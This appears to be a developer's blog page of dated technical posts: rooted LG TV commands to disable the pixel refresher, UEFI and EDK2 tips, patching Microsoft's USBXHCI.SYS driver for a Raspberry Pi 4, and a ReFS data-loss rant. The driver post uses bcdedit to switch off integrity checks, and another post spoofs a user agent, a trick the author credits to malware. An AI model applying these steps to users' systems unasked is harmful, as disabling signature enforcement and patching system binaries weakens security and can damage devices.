With thanks to EmperialX, assisted by Shauryae1337, for reporting the issue with Rufus 4.6, as well as pointing to ProcMon as a means to highlight these kind of vulnerabilities.

2024-10-29

Instructions on how to disable/tweak the Pixel Refresher on LG OLED CX

NB: This would have been posted in answer to this or this but unfortunately these posts are archived, so it's not possible to comment on them... And when I tried to create a topic in reddit's /r/OLED community, the moderators shadowremoved the post without providing any explanation. Way to create a welcoming community, guys...

PREAMBLE

Now, before people jump on "It's there for a reason - You should not disable the LG Pixel Refresh!" bandwagon, let me explain my reasons for doing so:

I have been the happy owner of an LG OLED65CX for the past four years, but, over the last few months, it has started to develop the dreaded TV not turning on on first try issue (1)(2) (which is absolutely maddening in terms of LG having completely let their customers down on an otherwise great product, through shoddy PSU hardware design - The Samsung LCD TV I had before that and which this LG OLED replaced, is now 17 years old but powering up and working fine for crying out loud!). Coincidentally, the power issue started to happen around the 2000 hours panel usage mark.

Which means that the TV can no longer properly turn on from standby after it has been off for a while.

Which means that the long form Pixel Refresher is unable to run altogether.

Which means that, every time I shut down or (eventually manage to) power up the TV, I get the reminders about the Pixel Refresher, which I cannot do anything about!

And of course, I have tried running the Pixel Refresher manually, but even a manual run still waits for complete standby before running it, which means it still has the same issue as trying to run through the scheduler, as the TV can simply no longer power itself up on first attempt.

So, yes, when you don't have any other choice, there do exist legitimate reasons why you may want to disable the Pixel Refresher.

And, yes, it is possible to accomplish just that (at least on OLED CX models, I obviously cannot vouch for any other model) provided that you have enabled root access.

DISCLAIMER

THE COMMANDS BELOW ARE FOR ADVANCED USERS ONLY AND ARE PROVIDED WITHOUT ANY WARRANTY OF IMPLIED FITNESS FOR A SPECIFIC PURPOSE. SHOULD YOU DO CHOOSE TO RUN ANY OF THESE COMMANDS, YOU ACCEPT THAT THERE EXISTS A RISK THAT THEY MAY RESULT IN HARDWARE DAMAGE AND/OR LOSS OF WARRANTY, AND AGREE THAT THE ENTIRE RESPONSIBILITY OF RUNNING SAID COMMANDS LIES ENTIRELY WITH YOU.

COMMANDS TO DISABLE/TWEAK THE LG PIXEL REFRESHER

Log on to your OLED TV as root through ssh/telnet and issue the command:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/getPixelRefresherInfoList" '{ "subscribe": false }'

This should return something like:

{
    "jbInterval": 2000,
    "returnValue": true,
    "jbLastTime": 0,
    "offrsInterval": 4,
    "offrsCount": 427,
    "offrsLastTime": 2030,
    "subscribed": false,
    "jbCount": 0,
    "pnwashKeyLock": true
}

If it doesn't return anything, STOP and don't proceed any further, as your model or firmware is using a different way of controlling the Pixel Refresher from what I am describing.

In the above, jb is the prefix for the "long form" Pixel refresher, that is scheduled every 2000 hours (jbInterval) and offrs is the "short form" Pixel Refresher that runs every 4 panel usage hours or so. Obviously, the one that is of interest to us, since it's the one that produces the popups, is the jb one.

At this stage, you have 2 ways to approach the issue. You can either increase the interval at which the long form Pixel Refresher is scheduled to run. For instance, you can set it to 4000 hours by issuing:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbInterval": 4000,"subscribe": false }'

Or you can tell the system that the long form Pixel Refresher has run, by issuing:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbLastTime": 2000, "subscribe": false }'
luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbCount": 1, "subscribe": false }'

For good measure, I ran both on my model, and I was finally free from annoying Pixel Refresher reminder popups. Of course, this doesn't do anything to solve the major issue that appears to affect many CX models, including mine, with powering on the panel, but if, for whatever reason, you are looking at a means to tweak or disable the LG Pixel Refresher (on CX and similar models) now you know how to do it.

Oh and in case you want to explore what other commands the com.webos.service.oledepl provides, you can also issue:

ls-monitor -i com.webos.service.oledepl

It should also be noted that com.webos.service.oledepl is actually mapped to the /usr/sbin/eplmanager executable, which you can also run manually with the -d (Debug) option if you are feeling adventurous, but I REALLY wouldn't advise to do so, as you can probably break your TV beyond repair if you try things at random there, whereas the luna-send are assumed to have some form of validation...

2024-08-29

Reboot to UEFI firmware settings from UEFI Shell

reset -c -fwui

There, you have it.

2024-08-19

Adding EDK2 as a submodule without cloning it

Yeah, I have my reasons for this (mostly I commit on Windows, run the builds through GitHub Actions but compile from a non version-controlled Linux, and I don't want to suffer the wastage of yet another lengthy and cumbersome clone of EDK2).

This is mostly taken from https://stackoverflow.com/a/37378302/1069307:

mkdir edk2
git update-index --add --cacheinfo 160000 b158dad150bf02879668f72ce306445250838201 edk2
cat <<EOF >>.gitmodules
[submodule "edk2"]
	path = edk2
	url = https://github.com/tianocore/edk2.git
EOF

Of course, you should replace the commit hash with whatever current or stable EDK2 commit hash you want to point to.

And with this, you'll have added EDK2 as a submodule of your project without going through a cumbersome clone.

2024-06-18

Downloading signtool.exe from Microsoft

In their typical fashion, unless you know what you're doing, Microsoft made it incredibly difficult to get your hands on a simple basic executable, that they should by all means provide as an easily accessible download, since it's one of the basic brick to try and safeguard a Windows platform.

Well, we know what we're doing, which is to use a very handy technique that we picked up from actual malware, so, from PowerShell:

curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" https://msdl.microsoft.com/download/symbols/signtool.exe/910D667173000/signtool.exe -o signtool.exe
 

There. Now you have signtool and you can get on with your life without having to download 4 GB of extra garbage.

2021-01-05

Python script to fix EDK2 patches downloaded with ThunderBird

It looks like ThunderBird and the EDK2 mailing list don't play too nice together, and you get annoying double line feeds being inserted into patches sent to the list, which are a major pain to deal with. And since I've grown tired of manually having to fix something like this:

 
Subject:
[edk2-platforms][PATCH 1/1] Platform/RaspberryPi: Fix Linux kernel panic on reset/poweroff
From:
Pete Batard <pete@akeo.ie>
Date:
2021.01.05, 14:09
To:
devel@edk2.groups.io

Commit 94e9fba43d7e132be3c582c676968a7f408072c1 introduced an unconditional
call to PcdGet32 after we exit boot services, that produces a kernel panic
on Linux reset.

This addendum to the previous commit ensures that we only read the PCD and
apply the delay while we are still in UEFI, which is what we want anyway as
the goal was to fix the storage of NV variables set by the user from within
the UEFI firmware interface.

Signed-off-by: Pete Batard <pete@akeo.ie>
---
 Platform/RaspberryPi/Library/ResetLib/ResetLib.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
index 4a50166dd63b..a70eee485ddf 100644
--- a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
+++ b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
@@ -52,13 +52,13 @@ LibResetSystem (
      * Only if still in UEFI.

      */

     EfiEventGroupSignal (&gRaspberryPiEventResetGuid);

-  }

 

-  Delay = PcdGet32 (PcdPlatformResetDelay);

-  if (Delay != 0) {

-    DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",

-            Delay / 1000000, (Delay % 1000000) / 100000));

-    MicroSecondDelay (Delay);

+    Delay = PcdGet32 (PcdPlatformResetDelay);

+    if (Delay != 0) {

+      DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",

+              Delay / 1000000, (Delay % 1000000) / 100000));

+      MicroSecondDelay (Delay);

+    }

   }

   DEBUG ((DEBUG_INFO, "Platform %a.\n",

           (ResetType == EfiResetShutdown) ? "shutdown" : "reset"));

-- 2.29.2.windows.2

Into this:
Subject: [edk2-platforms][PATCH 1/1] Platform/RaspberryPi: Fix Linux kernel panic on reset/poweroff
From: Pete Batard <pete@akeo.ie>
Date: 2021.01.05, 14:09
To: devel@edk2.groups.io

Commit 94e9fba43d7e132be3c582c676968a7f408072c1 introduced an unconditional
call to PcdGet32 after we exit boot services, that produces a kernel panic
on Linux reset.

This addendum to the previous commit ensures that we only read the PCD and
apply the delay while we are still in UEFI, which is what we want anyway as
the goal was to fix the storage of NV variables set by the user from within
the UEFI firmware interface.

Signed-off-by: Pete Batard <pete@akeo.ie>
---
 Platform/RaspberryPi/Library/ResetLib/ResetLib.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
index 4a50166dd63b..a70eee485ddf 100644
--- a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
+++ b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
@@ -52,13 +52,13 @@ LibResetSystem (
      * Only if still in UEFI.
      */
     EfiEventGroupSignal (&gRaspberryPiEventResetGuid);
-  }
 
-  Delay = PcdGet32 (PcdPlatformResetDelay);
-  if (Delay != 0) {
-    DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",
-            Delay / 1000000, (Delay % 1000000) / 100000));
-    MicroSecondDelay (Delay);
+    Delay = PcdGet32 (PcdPlatformResetDelay);
+    if (Delay != 0) {
+      DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",
+              Delay / 1000000, (Delay % 1000000) / 100000));
+      MicroSecondDelay (Delay);
+    }
   }
   DEBUG ((DEBUG_INFO, "Platform %a.\n",
           (ResetType == EfiResetShutdown) ? "shutdown" : "reset"));
-- 2.29.2.windows.2

Here's a quick Python script that'll automate that for you:

import argparse

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('files', type=argparse.FileType('rb+'), nargs='+')
    args = parser.parse_args()

    for file in args.files:
        buffer = bytearray(file.read())

        # Delete initial empty line
        while (buffer[0] == 0x0d) or (buffer[0] == 0x0a):
            del buffer[0]

        # Un-split Subject: CC: etc.
        for i in range(buffer.find(b'\x0d\x0a---')):
            if (buffer[i] == 0x3a) and (buffer[i+1] == 0x0d) and (buffer[i+2] == 0x0a):
                del buffer[i+1]
                buffer[i+1] = 0x20

        # Remove double CRLF from chunks
        i = buffer.find(b'\x0d\x0a@@')
        while i < len(buffer) - 3:
            if (buffer[i] == 0x0d) and (buffer[i+1] == 0x0a) and (buffer[i+2] == 0x0d) and (buffer[i+3] == 0x0a):
                del buffer[i]
                del buffer[i]
            i = i + 1
        file.seek(0)
        file.write(buffer)
        file.truncate()

2020-12-16

UEFI Hexdump

If you're developing UEFI firmware content, sooner or later you're going to want to dump binary data using the debug facility.

And so, without further ado:

(...)

#include <Library/BaseLib.h>
#include <Library/PrintLib.h>

(...)

STATIC
VOID 
DumpBufferHex (
  VOID* Buf,
  UINTN Size
)
{
  UINT8* Buffer = (UINT8*)Buf;
  UINTN  i, j, k;
  char Line[80] = "";

  for (i = 0; i < Size; i += 16) {
    if (i != 0) {
      DEBUG ((DEBUG_INFO, "%a\n", Line));
    }
    Line[0] = 0;
    AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "  %08x  ", i);
    for (j = 0, k = 0; k < 16; j++, k++) {
      if (i + j < Size) {
        AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "%02x", Buffer[i + j]);
      } else {
        AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "  ");
      }
      AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), " ");
    }
    AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), " ");
    for (j = 0, k = 0; k < 16; j++, k++) {
      if (i + j < Size) {
        if ((Buffer[i + j] < 32) || (Buffer[ i + j] > 126)) {
          AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), ".");
        } else {
          AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "%c", Buffer[i + j]);
        }
      }
    }
  }
  DEBUG ((DEBUG_INFO, "%a\n", Line));
}

2020-08-08

Updating XML files with PowerShell

Say you have the following file.xml:

<?xml version="1.0" encoding="UTF-8"?>
<data>
  <item name="Item 1" id="0" />
  <item name="Item 2" id="1001" />
  <item name="Item 3" id="0" />
  <item name="Item 4" id="1002" />
  <item name="Item 5" id="1005" />
  <item name="Item 6" id="0" />
</data>

And you want to replace all those "0" id attributes with incremental values.

If you have PowerShell, this can be accomplished pretty easily with the following commands:

$xml = New-Object xml
$xml.Load("$PWD\file.xml")
$i = 2001; foreach ($item in $xml.data.item) { if ($item.id -eq 0) { $item.id = [string]$i; $i++ } }
$xml.Save("$PWD\updated.xml")

Now your output (updated.xml) looks like:

<?xml version="1.0" encoding="UTF-8"?>
<data>
  <item name="Item 1" id="2001" />
  <item name="Item 2" id="1001" />
  <item name="Item 3" id="2002" />
  <item name="Item 4" id="1002" />
  <item name="Item 5" id="1005" />
  <item name="Item 6" id="2003" />
</data>

Easy-peasy...

2020-07-08

(Ab)using Microsoft's symbol servers, for fun and profit

Since I find myself doing this on regular basis (Hail Ghidra!), and can never quite remember the commands.

Say you have a little Microsoft executable, such as the latest ARM64 version of usbxhci.sys, that you want to investigate using Ghidra.

Of course, one thing that can make the whole difference between hours of "Where the heck is the function call for the code I am after?" and a few of seconds of "Judging by its name, this call is the most likely candidate" is the availability of the .pdb debug symbols for the Windows executable you are analysing.

You may also know that, because of the huge corporate ecosystem they have where such information might be critical (as well as some government pressure to make it public), it so happens that Microsoft does make available a lot of the debug information that was generated during the compilation of Windows components. Now, since it can amount to a large volume of data (one can usually expect a .pdb to be 3 to 5 times larger than the resulting code) this debug information is not usually provided with Windows, unless you are running a Debug/Checked build.

But it can "easily" be retrieved from Microsoft's servers. Here's how.

First of all, you need to ensure that you have the Windows SDK or Windows Driver Kit installed. If you have Visual Studio 2019 (remember, the Community Edition of VS2019 is free) with the C++ development environment, these should already have been installed for you. But really it's up to you to sort that out and alter the paths below as needed.

With this prerequisite taken care of, you should find a commandline executable called symchk.exe somewhere in C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\. This is the utility that can connect to the Microsoft's servers to fetch the symbol files, i.e. the compilation .pdb's that Microsoft has made public.

So, let's say we have copied our ARM64 xHCI driver (USBXHCI.SYS - Why Microsoft suddenly decided to YELL ITS NAME is unknown) to some directory. All you need to do to retrieve its associated .pdb then is issue the command:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe" /s srv*https://msdl.microsoft.com/download/symbols /ocx .\ USBXHCI.SYS

The /s flag indicates where the symbols should be retrieved from (here the Microsoft's remote server) and the /ocx flag, followed by a folder, indicates where the .pdb should be copied (here, the same directory as the one where we have our driver).

If everything goes well, the output of the command should be:

SYMCHK: FAILED files = 0
SYMCHK: PASSED + IGNORED files = 1

with the important part being that the number of PASSED files is not zero, and you should find a newly created usbxhci.pdb in your directory. Neat!

"Hello, my name is Mr Snrub"


So, what do you do with that?

Well, I did mention Ghidra, and as a comprehensive disassembly/decompiler utility, Ghidra does of course have the ability to work with debug symbols if they happen to be available (sadly, it doesn't seem to have the ability to look them up automatically like IDA, or if it does, I haven't found where this can be configured), which helps turn an obtuse FUN_1c003ac90() function name, into a much more indicative XilRegister_ReadUlong64()...

For instance, let's say you happen to have been made aware that the reason why you currently can't use the rear USB-A ports for Windows 10 on the Raspberry Pi 4 is because Broadcom/VIA (most likely Broadcom, because they've already done everyone a number with implementing a DMA controller that chokes past 3 GB on the Bcm2711) have screwed up 64-bit PCIe accesses, and they end up returning garbage in the high 32-bit DWORD unless you only ever attempt to read 64-bit QWORDs as two sequential DWORDs instead of a single QWORD.

As a result of this, you may be exceedingly interested to find out if there exists something in the function calls used by Microsoft's usbxhci.sys driver, that can set 64-bit xHCI register accesses to be enacted as two 32-bit ones.

Obviously then, if, after using the .pdb we've just retrieved above, Ghidra helpfully tells you that there does exist a function call at address 1c003ac90 called XilRegister_ReadUlong64, you are going to be exceedingly interested in having a look at that call:

undefined8 XilRegister_ReadUlong64(longlong param_1,undefined8 *param_2)
{
  undefined8 local_30 [6];
  
  local_30[0] = 0;
  if (*(char *)(*(longlong *)(param_1 + 8) + 0x219) == '\0') {
    DataSynchronizationBarrier(3,3);
    if ((*(ulonglong *)(*(longlong *)(param_1 + 8) + 0x150) & 1) == 0) {
      // 64-bit qword access
      local_30[0] = *param_2;
    } else {
      DataSynchronizationBarrier(3,3);
      // 2x32-bit dword access
      local_30[0] = CONCAT44(*(undefined4 *)((longlong)param_2 + 4),*(undefined4 *)param_2);
    }
  } else {
    Register_ReadSecureMmio(param_1,param_2,3,1,local_30);
  }
  return local_30[0];
}

NB: The comments were not added by Ghidra. Ghidra may be good at what it does, but it's not that good...

Guess what? It so happens that there exists an attribute somewhere, that Microsoft uses the bit 0 of, to decide whether 64-bit xHCI registers should be read using two 32-bit access. Awesome, this looks exactly like what we're after.

The corresponding disassembly also tells us that this if condition is ultimately encoded as a tbnz ARM64 instruction. So if we revert that logic, by using a tbz instead of tbnz, we should be able to force the failing 64-bit reads to be enacted as 2x32-bit, which may fix our xHCI driver woes...

Let's do just that then, by editing USBXHCI.SYS and changing the EA 00 00 37 sequence at address 0x03a0d0 to EA 00 00 36 (tbnztbz) and, for good measure, do the same for XilRegister_WriteUlong64 at address 0x005b34, by also changing 0A 01 00 37 into 0A 01 00 36 to reverse the logic. "Yes that'll do".

"I like the way Snrub thinks!"


Well, we may have patched our driver and tried to fool the system by reversing some stuff, but, as the Simpsons have long attested, it's not going to do much unless you have a trusted sidekick to help you out.

Obviously, since we broke the signature of that driver the minute we changed even a single bit, we're going to have to tell Windows to disable signature enforcement for the boot on our target ARM64 platform, which can be done by setting nointegritychecks on in the BCD. And while we're at it we may want to enable test signing as well. Now, most of the commands you'll see are for the local BCD, but that's not what we are after here, since we want to modify a USB installed version of Windows, where, in our case, the BCD is located at S:\EFI\Microsoft\Boot\BCD. So the trick to achieving that (from a command prompt running elevated) is:

bcdedit /store S:\EFI\Microsoft\Boot\BCD /set {default} testsigning on
bcdedit /store S:\EFI\Microsoft\Boot\BCD /set {default} nointegritychecks on

However, if you only do that and (after taking ownership and granting yourself full permissions so that you can replace the existing driver) copy the altered USBXHCI.SYS to Windows\System32\drivers\ you will still be greeted by an obnoxious

Recovery

Your PC/Device needs to be repaired

The operating system couldn't be loaded because a critical system driver is missing or contains errors.

File: \Windows\System32\drivers\USBXHCI.SYS
Error code: 0xc0000221

Oh noes!


The problem, which is what generates the 0xc0000221 (STATUS_IMAGE_CHECKSUM_MISMATCH) error code, is that the optional PE checksum field, used by Windows to validate critical boot executables, has not been updated after we altered USBXHCI.SYS. Therefore checksum validation fails, and this is precisely what the Windows boot process is complaining about.

Fixing this is very simple: Just download PEChecksum64.exe (e.g. from here) and issue the command:

D:\Dis\>PEChecksum64.exe USBXHCI.SYS
USBXHCI.SYS: Checksum updated from 0x0008D39B to 0x0008D19B

For good measure, you will also need to self-sign that driver, so that you can avoid Windows booting into recovery mode with an obnoxious 0xc000000f from winload.exe (though you can still proceed to full boot from there).

Now we finally have all the pieces we need.

For instance, we can replace USBXHCI.SYS on a fast USB 3.0 flash drive containing an Raspberry Pi Windows 10 ARM64 installation created using WOR (and if you happen to have the latest EEPROM flashed as well as a version of the Raspberry Pi 4 UEFI firmware that includes this patch, you can actually boot the whole thing straight from USB), and, while we are at it, remove the 1 GB RAM limit that the Pi 4 had to have when booting from USB-C port (since we're not going to use that USB controller), by issuing, from an elevated prompt:

bcdedit /store Y:\EFI\Microsoft\Boot\BCD /deletevalue {default} truncatememory

Do all of the above and, who knows, you might actually end up with a usable Windows 10 ARM64 OS, running from one of the rear panel's fast USB 3.0 ports with a whooping 3 GB of RAM, on your Raspberry Pi 4.

Now, isn't that something?

But this is just a post about using Microsoft's symbol servers.
It's not a post about running full blown Windows 10 on the Raspberry Pi 4, right?

Addendum: In case you don't want to have to go through the taking of ownership, patching, updating of the PE checksum and digitally re-signing of the file yourself, may I also interest you in winpatch?

2020-06-23

Et tu, Microsoft

It's a beautiful Saturday afternoon.

Everything is going as peachy as could be, with the satisfaction of having released a new version of your software, just a couple days ago, that wasn't short lived due to the all too common subsequent realisation that you managed to introduce a massive "oops", such as including completely wrong drivers for a specific architecture (courtesy of Rufus 3.10) or having your ext formatting feature break when a partition is larger than 4 GB (courtesy of Rufus 3.8)... Sometimes I have to wonder if Rufus isn't suffering from the same curse as the original Star Trek movie releases (albeit inverted in our case).

Thus, basking in the contentment of a job well done, you fire up your trusty Windows 10, which you upgraded to the 2004 release just a couple weeks ago (along with that Storage Space array you use), and go on your merry way, doing inconsequential Windows stuff, such as deciding to rename one folder.

And that's when all hell breaks lose...

Suddenly, your file explorer freezes, every disk access becomes unresponsive and you are seeing your most important disk (the one that contains, among other things, all the ISOs you accumulated for testing with Rufus, and which you made sure to set up with redundancy using Storage Spaces, along with an ReFS file system where file integrity had been enabled) undergoing constant access, with no application in sight seemingly performing those...

Oh and rebooting (provided you are patient enough to wait the 10 minutes it takes to actually reboot) doesn't help in the slightest. If anything, it appears to make the situation worse as Windows now takes forever to boot, with the constant disk access issue of your Storage Space drive still in full swing.

Yet the Storage Spaces control panel reports that all of the underlying HDDs are fine, a short SMART test on those also reports no issue and even a desperate attempt to try to identify what specific drive might be the source of the trouble, by trying each combination of 3 our 4 HDDs, yields nothing. If nothing else, it would confirm the idea that Microsoft did a relatively solid job with Storage Spaces, at least in terms of hardware gotchas, considering that every other parity solution I know of, such as the often decried Intel RAID, would scream bloody murder if you removed another drive before it got through the super time consuming rebuilding of the whole array (which is the precise reason I swore off using Intel RAID and moved to Storage Spaces).

An ReFS issue then? If that's the case, talk of a misnomer for something that's supposed to be resilient...

Indeed, the Event Viewer shows a flurry of ReFS errors, ultimately culminating in this ominous message, that gets repeated many times as the system attempts to access the drive, as you end up finding that your drive has been "remounted" as RAW:
Volume D: is formatted as ReFS but ReFS is unable to mount it;
ReFS encountered status The volume repair was not successful...

Someone at Microsoft may want to look up the definition of resiliency...


Ugh, that's the second ReFS drive I lose in about a month (earlier was an SSD that hosted all my VMs, and that Windows mysteriously overwrote as a Microsoft Reserved Partition)! If that's indicative of a trend, I think that Microsoft might want to weather-test their data oriented solutions a little better. Things used to be rock-stable, but I can't say I've been impressed by Windows 10's prowess on the matter lately...

And yes, I do have some backups of course (well, I didn't for those VMs, but that was data I could afford to lose) but they are spread all over the place on account that I am not made of money, dammit!

See, the whole point of entrusting my data to a 10 TB parity array made of 4x4 TB HDDs was that I could reuse drives that I (more or less) had lying around, and you'd better believe those were the cheapest 4 TB drives I'd been able to lay my hands on. In other words, Seagate, since HDD manufacturers have long decided, or, should I say, colluded, that they should stop trying to compete on price, as further evidenced by the fact that I still paid less for an 8 TB HDD, two frigging years ago, than the cheapest price I could find for the exact same model today.

"Storage is getting cheaper", my ass!

Oh and since we're talking about Seagate and reliability, I will also state that, in about 20 years of using almost exclusively Seagate drives, on account that they are constantly on the cheaper side (though Seagate and other manufacturers may want to explain why on earth it is cheaper to buy a USB HDD enclosure, with cable, PSU and SATA ↔ USB converter, than the same bare model of HDD), I have yet to experience a single drive failure for any Seagates I use in my active RAID arrays.

So when people say Seagate is too unreliable, I beg to anecdotally differ since, for the price, Seagate's more than reliable enough. I mean, between paying exactly 0 € for 10 TB with parity vs. between 500 to 700 € (current price, at best) for a parity or mirrored NAS array, there's really no contest. I don't mind that a lot of people appear to have semi-bottomless pockets, and can't see themselves go with less than a mirroring solution with brand new NAS drives. But that's no reason to look down on people who do use parity along with cheap non NAS drives, because price is far from being an inconsequential factor when it comes to the preservation of their data...

And it's even more true here as the issue at hand has nothing to do with using cheap hardware and that everyone knows that a parity or mirroring solution is worth nothing if you don't also combine it with offline backups, which means even more disks, preferably of large capacity, and therefore even more budget to provision...

All this to say that there's a good reason why I don't have a single 8 or 10 TB HDD lying around, with all my backups for the array that went offline, and why, as much as I wish otherwise, there are going to be gaps in the data I restore... So yeah, count me less than thrilled with a data loss that wasn't incurred by a hardware failure or my own carelessness (the only ever two valid causes for losing data).

Alas, with the Windows 10 2004 feature update, it appears that the good folks at Microsoft decided that there just weren't enough ways in which people could kill their data. So they created a brand new one.

Enters KB4570719.

The worst part of it is that I've seen reports indicating that this, as well as other corollary issues, was pointed out to Microsoft by Windows Insiders as far back as September 2019. So why on earth was something that should instantly have been flagged as a super critical data loss issue, included in the May 2020 update?

Oh and of course, at the time of this post, i.e. about one month after the data-destructive Windows update was released, there's still no solution in sight... though, from what I have found, non extensible parity Storage Spaces may be okay to use, as long as these were created using PowerShell commands to make them non dynamically extensible, rather than through the UI which forces extensible.


If this post seems like a rant, it's because it mostly is, considering that I am less than thrilled at having had to waste one week trying to salvage what I could of my data. But since we need to conclude this little story, let me impart the following two truths upon you:

1. EVERYTHING, and I do mean EVERYTHING is actively trying to murder your data.
Do not trust the hardware. Do not trust yourself. And especially, do not trust the Operating System not to lounge a sharp blade straight through your data's toga, during the Ides of June.

2. (Since this is something I am all too commonly facing with Rufus' user reports) It doesn't matter how large and well established a software company is compared to an Independent Software Developer; the OS can still very much be the one and only reason why third party software appears to be failing, and you should always be careful never to consider the OS above suspicion. There is no more truth to "surely a Microsoft (or an Apple or a Google for that matter) would not to ship an OS that contains glaring bugs" today as there has been in the past, or as there will be in the future.
The OS can and does fail spectacularly at times (and I have plenty more examples besides this one, that I could provide). So don't fail to account for that possibility.